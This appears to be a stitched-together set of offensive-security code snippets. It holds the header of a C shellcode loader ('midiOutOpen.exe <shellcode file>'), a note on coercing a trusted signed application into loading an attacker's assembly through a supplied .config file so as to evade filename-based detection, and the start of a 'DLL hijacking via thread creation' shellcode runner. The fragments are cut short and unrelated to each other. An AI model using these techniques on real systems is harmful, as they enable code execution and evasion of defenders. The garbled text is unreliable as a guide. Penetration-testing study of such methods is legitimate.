| // Saumyajeet Das | |
| // Written/Compiled: Visual Studio 2022 | |
| // Usage: midiOutOpen.exe <shellcode file> | |
| #pragma comment(lib, "winmm.lib") | |
| #include <stdio.h> | |
| #include <Windows.h> | |
| #include <mmsystem.h> | |
| BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize); |
We can do this by experimenting with .config files.
Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name
In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.
We do this by directing the application to read a config file we provide.
| // Dll Hijacking via Thread Creation | |
| // Author - Vivek Ramachandran | |
| // Learn Pentesting Online -- http://PentesterAcademy.com/topics and http://SecurityTube-Training.com | |
| // Free Infosec Videos -- http://SecurityTube.net | |
| #include <windows.h> | |
| #define SHELLCODELEN 2048 |